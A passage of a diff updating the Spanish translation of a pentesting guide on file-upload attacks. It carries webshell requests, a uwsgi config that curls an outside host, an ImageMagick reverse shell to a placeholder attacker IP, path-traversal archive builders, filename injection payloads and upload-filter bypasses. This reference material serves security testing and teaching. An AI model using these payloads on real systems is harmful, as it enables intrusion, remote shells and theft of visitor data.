Laravel + LFM): +``` +GET /storage/files/0xdf.php?cmd=id +``` +Mitigaciones: +- Actualizar unisharp/laravel-filemanager a ≥ 2.9.1. +- Imponer allowlists estrictas server-side y revalidar el nombre de archivo persistido. +- Servir uploads desde ubicaciones no ejecutables. + +### Eludir Content-Type, Magic Number, Compresión & Redimensionado + +- Eludir las comprobaciones de **Content-Type** ajustando el **value** del **Content-Type** **header** a: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Evade la comprobación de **magic number** añadiendo al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\ +- Eludir la comprobación de **magic number** añadiendo al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadata**:\ `exiftool -Comment="' >> img.png` -- Si **se aplica compresión** a tu imagen, por ejemplo usando algunas librerías estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**. +- Si se está añadiendo **compresión a tu imagen**, por ejemplo usando algunas librerías estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, puedes usar el **PLTE chunk** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**. +- La página web también podría **redimensionar** la **imagen**, usando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, puedes usar el **IDAT chunk** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Otra técnica para crear un payload que **sobreviva un redimensionado de imagen**, usando la función PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **resista la compresión**. +- Otra técnica para crear una carga útil que **sobreviva un redimensionado de imagen**, usando la función PHP-GD `thumbnailImage`. Sin embargo, puedes usar el **tEXt chunk** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Otras técnicas para comprobar +### Otros trucos para comprobar -- Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión). -- Encuentra una vulnerabilidad de **Local File Inclusion** para ejecutar el backdoor. +- Encontrar una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión). +- Encontrar una vulnerabilidad de **Local File Inclusion** para ejecutar el backdoor. - **Posible divulgación de información**: -1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre** -2. Sube un archivo con el **nombre** de un **archivo** o **directorio** que **ya existe** -3. Subir un archivo con **"." , ".." o "..." como nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio "/www/uploads/", el nombre "." creará un archivo llamado "uploads" en el directorio "/www/". -4. Sube un archivo que no pueda borrarse fácilmente como **"…:.jpg”** en **NTFS**. (Windows) -5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows) -6. Sube un archivo en **Windows** usando nombres **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9. -- Prueba también a **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando sea abierto accidentalmente por la víctima. +1. Subir **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre** +2. Subir un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe** +3. Subir un archivo con **".”, "..”, o "…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio "/www/uploads/”, el archivo con nombre "." creará un archivo llamado "uploads” en el directorio "/www/”. +4. Subir un archivo que no se pueda borrar fácilmente como **"…:.jpg”** en **NTFS**. (Windows) +5. Subir un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows) +6. Subir un archivo en **Windows** usando nombres **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9. +- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando sea abierto accidentalmente por la víctima. -### Trucos especiales de extensión +### Trucos con extensiones especiales -Si estás intentando subir archivos a un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Si estás intentando subir archivos a un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Si estás intentando subir archivos a un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Si estás intentando subir archivos a un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden **usarse como un archivo php** (ejecutándolos con php, o incluyéndolos dentro de un script...) +Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden **usarse como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...). -La extensión `.inc` a veces se usa para archivos php que solo se usan para **importar archivos**, así que, en algún punto, alguien podría haber permitido **que esta extensión se ejecute**. +La extensión `.inc` a veces se usa para archivos php que solo se usan para **importar archivos**, así que, en algún punto, alguien pudo haber permitido **que esta extensión se ejecute**. ## **Jetty RCE** -If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell! +Si puedes subir un archivo XML a un servidor Jetty puedes obtener [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la imagen siguiente, sube el archivo XML a `$JETTY_BASE/webapps/` ¡y espera la shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Para una exploración detallada de esta vulnerabilidad consulta la investigación original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed. +Las vulnerabilidades de Remote Command Execution (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI usan una sintaxis específica para incorporar variables "mágicas", placeholders y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los distintos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo leer datos desde la salida estándar de un proceso. Esta funcionalidad puede ser manipulada con fines maliciosos como Remote Command Execution o Arbitrary File Write/Read cuando se procesa un archivo de configuración `.ini`. -Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes: +Considera el siguiente ejemplo de un `uwsgi.ini` malicioso, que muestra varios schemes: ```ini [uwsgi] ; read from a symbol @@ -126,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea parseada, el proceso uWSGI debe reiniciarse (potencialmente tras un fallo o debido a un Denial of Service attack) o el archivo debe configurarse en auto-reload. La funcionalidad de auto-reload, si está activada, recarga el archivo en intervalos especificados al detectar cambios. +La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea analizada, el proceso uWSGI debe reiniciarse (potencialmente tras un crash o debido a un Denial of Service) o el archivo debe estar configurado para auto-reload. La función de auto-reload, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios. -Es crucial entender la naturaleza laxa del análisis de los archivos de configuración de uWSGI. Específicamente, el payload discutido puede insertarse en un archivo binario (como una imagen o un PDF), ampliando así el alcance de la explotación posible. +Es crucial entender la laxitud en el análisis del archivo de configuración de uWSGI. Específicamente, el payload discutido puede ser insertado en un archivo binario (como una imagen o un PDF), ampliando aún más el alcance de la explotación potencial. -## **wget Subida de archivos/SSRF Truco** +## **wget File Upload/SSRF Trick** -En algunas ocasiones puedes encontrar que un servidor está usando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En esos casos, el código puede estar comprobando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se van a descargar archivos permitidos. Sin embargo, **esta comprobación puede ser eludida.**\ -La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, `wget` trunca los nombres de archivo a **236** caracteres. Puedes **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **pasará** la **comprobación** (ya que en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**. +En algunas ocasiones puedes encontrar que un servidor está usando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En esos casos, el código puede comprobar que la extensión de los archivos descargados esté dentro de una whitelist para asegurarse de que sólo se van a descargar archivos permitidos. Sin embargo, **esta comprobación puede eludirse.**\ +La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **evadirá** la **comprobación** (ya que en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Ten en cuenta que **otra opción** que podrías estar considerando para evadir esta comprobación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial pase la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté usando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**. +Ten en cuenta que **otra opción** que podrías estar considerando para eludir esta comprobación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial pase la comprobación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se use con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre de archivo indicado en la URL original**. ## Herramientas -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta potente diseñada para ayudar a Pentesters y Bug Hunters a probar los mecanismos de file upload. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta poderosa diseñada para ayudar a Pentesters y Bug Hunters a probar mecanismos de subida de archivos. Aprovecha diversas técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web. -### Corrompiendo índices de upload con peculiaridades de snprintf (histórico) +### Corrupción de índices de upload con peculiaridades de snprintf (histórico) -Algunos legacy upload handlers que usan `snprintf()` o similar para construir arrays multi-file a partir de una single-file upload pueden ser engañados para forjar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una single upload cuidadosamente creada puede aparecer como múltiples archivos indexados en el servidor, confundiendo la lógica que asume una forma estricta (p. ej., tratándolo como una multi-file upload y tomando ramas inseguras). Aunque hoy es poco común, este patrón de “index corruption” ocasionalmente resurge en CTFs y bases de código antiguas. +Algunos manejadores legacy de upload que usan `snprintf()` o similar para construir arrays de múltiples archivos a partir de una subida de un solo archivo pueden ser engañados para falsificar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una subida única cuidadosamente elaborada puede aparecer como múltiples archivos indexados en el lado del servidor, confundiendo la lógica que asume una forma estricta (p. ej., tratándola como una subida multi-archivo y tomando ramas inseguras). Aunque hoy es poco común, este patrón de “corrupción de índices” ocasionalmente reaparece en CTFs y bases de código antiguas. -## From File upload to other vulnerabilities +## De File upload a otras vulnerabilidades -- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** -- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** -- Set **filename** to `` to achieve a XSS -- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md)) +- Establece **filename** en `../../../tmp/lol.png` y trata de lograr un **path traversal** +- Establece **filename** en `sleep(10)-- -.jpg` y podrías lograr una **SQL injection** +- Establece **filename** en `` para lograr un **XSS** +- Establece **filename** en `; sleep 10;` para probar algún **command injection** (más [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) - Prueba **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Si puedes **indicar al servidor web que obtenga una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **saved** en algún sitio **public**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**. +- Si puedes **indicar el web server para que coja una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- PDFs especialmente craftados para XSS: La [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Si puedes subir PDFs podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones dadas. -- Sube el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content para comprobar si el servidor tiene algún **antivirus** -- Comprueba si existe algún **size limit** al subir archivos +- PDFs especialmente creados para XSS: La [siguiente página muestra cómo **inyectar datos en PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes subir PDFs podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones dadas. +- Sube el contenido de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para comprobar si el servidor tiene algún **antivirus** +- Comprueba si existe algún **límite de tamaño** al subir archivos -Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (desde [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -197,7 +227,7 @@ Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (de [ 9. **ZIP**: RCE via LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE -#### Burp Extension +#### Extensión de Burp {{#ref}} @@ -206,18 +236,18 @@ https://github.com/portswigger/upload-scanner ## Bytes mágicos de cabecera -- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` +- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de archivo. -## Subida de ZIP/TAR descomprimida automáticamente +## Subida de archivos Zip/Tar descomprimida automáticamente -Si puedes subir un ZIP que va a ser descomprimido dentro del servidor, puedes hacer 2 cosas: +Si puedes subir un ZIP que vaya a ser descomprimido dentro del servidor, puedes hacer 2 cosas: ### Symlink -Sube un ZIP que contenga symlinks (soft links) a otros archivos; al acceder a los archivos descomprimidos accederás a los archivos enlazados: +Sube un ZIP que contenga symlinks a otros archivos; al acceder a los archivos descomprimidos accederás a los archivos enlazados: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -225,16 +255,16 @@ tar -cvf test.tar symindex.txt ``` ### Descomprimir en diferentes carpetas -La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos OS-level a través de uploads de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes eludir las restricciones y escapar de los directorios de upload seguros manipulando la funcionalidad de descompresión de la aplicación objetivo. +La creación inesperada de archivos en directorios durante la descompresión es un problema importante. A pesar de la suposición inicial de que esta configuración podría proteger contra la ejecución de comandos a nivel del sistema operativo mediante cargas de archivos maliciosos, el soporte jerárquico de compresión y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes eludir las restricciones y escapar de los directorios de subida seguros manipulando la funcionalidad de descompresión de la aplicación objetivo. -Un exploit automatizado para crear tales archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad puede usarse como se muestra: +An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad puede utilizarse como se muestra: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, se debe crear un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación. +Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, debe crearse un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación. A continuación se muestra un ejemplo de código Python usado para crear un archivo zip malicioso: ```python @@ -254,11 +284,11 @@ zip.close() create_zip() ``` -**Abusar de la compresión para file spraying** +**Abusing compression for file spraying** Para más detalles **consulta la entrada original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creando un PHP Shell**: Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`. +1. **Creating a PHP Shell**: Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`. ```php ``` -2. **File Spraying y creación de archivos comprimidos**: Se crean múltiples archivos y se arma un archivo zip que contiene estos archivos. +2. **File Spraying and Compressed File Creation**: Se crean múltiples archivos y se genera un archivo zip que contiene estos archivos. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modificación con un Hex Editor o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un Hex Editor, cambiando "xxA" por "../" para atravesar directorios. +3. **Modification with a Hex Editor or vi**: Los nombres de los archivos dentro del zip se modifican usando vi o un hex editor, cambiando "xxA" por "../" para atravesar directorios. ```bash :set modifiable @@ -292,31 +322,31 @@ viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Incrustar shell PHP en PNG +## Incrustar PHP Shell en PNG -Incrustar una shell PHP en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` y `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se usan comúnmente para el redimensionado y el remuestreo de imágenes, respectivamente. La capacidad de la shell PHP incrustada para permanecer intacta frente a estas operaciones es una ventaja significativa en determinados casos de uso. +Incrustar un PHP shell en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` y `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se usan comúnmente para redimensionar y remuestrear imágenes, respectivamente. La capacidad del PHP shell incrustado de permanecer intacto frente a estas operaciones es una ventaja significativa para ciertos casos de uso. -Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones. +Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se ofrece en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones. -More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +Más información en: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Archivos poliglotas +## Polyglot Files -Los archivos poliglotas sirven como una herramienta singular en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como GIF como archivo RAR. Estos archivos no se limitan a este emparejamiento; combinaciones como GIF y JS o PPT y JS también son factibles. +Polyglot files sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como GIF como archivo RAR. Estos archivos no se limitan a ese emparejamiento; combinaciones como GIF y JS o PPT y JS también son factibles. -La utilidad principal de los archivos poliglotas radica en su capacidad para eludir medidas de seguridad que inspeccionan archivos basándose en el tipo. La práctica común en varias aplicaciones consiste en permitir solo ciertos tipos de archivo para upload —como JPEG, GIF o DOC— para mitigar el riesgo que suponen formatos potencialmente peligrosos (p. ej., JS, PHP o Phar). Sin embargo, un poliglota, al ajustarse a los criterios estructurales de múltiples tipos de archivo, puede eludir sigilosamente estas restricciones. +La utilidad principal de los polyglot files radica en su capacidad para eludir medidas de seguridad que inspeccionan archivos según su tipo. Una práctica común en varias aplicaciones consiste en permitir sólo ciertos tipos de archivo para la subida —como JPEG, GIF o DOC— para mitigar el riesgo que suponen formatos potencialmente peligrosos (por ejemplo, JS, PHP o Phar). Sin embargo, un polyglot, al ajustarse a los criterios estructurales de múltiples tipos de archivo, puede pasar desapercibido frente a estas restricciones. -A pesar de su adaptabilidad, los poliglotas encuentran limitaciones. Por ejemplo, aunque un poliglota pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su upload puede depender de las políticas de extensión de archivo de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un poliglota puede no ser suficiente para garantizar su upload. +A pesar de su adaptabilidad, los polyglots enfrentan limitaciones. Por ejemplo, aunque un polyglot pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su subida puede depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un polyglot puede no ser suficiente para garantizar su subida. -More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) ### Subir JSON válidos como si fueran PDF -Cómo evitar las detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, fingiendo que es un archivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, falsificando un archivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Mientras los bytes mágicos `%PDF` estén dentro de los primeros 1024 bytes, es válido (ver ejemplo en el post) -- **`pdflib` library**: Añade un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (ver ejemplo en el post) -- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON más grande que eso para que no pueda parsear el contenido como un json y luego, dentro del JSON, coloca la parte inicial de un PDF real y pensará que es un PDF +- **`mmmagic` library**: Siempre que los bytes mágicos `%PDF` estén en los primeros 1024 bytes, es válido (ver ejemplo en el post) +- **`pdflib` library**: Agrega un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (ver ejemplo en el post) +- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Crea un JSON más grande que eso para que no pueda parsear el contenido como JSON y luego, dentro del JSON, coloca la parte inicial de un PDF real y pensará que es un PDF ## Referencias @@ -328,5 +358,8 @@ Cómo evitar las detecciones de tipo de archivo subiendo un archivo JSON válido - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) +- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) +- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}}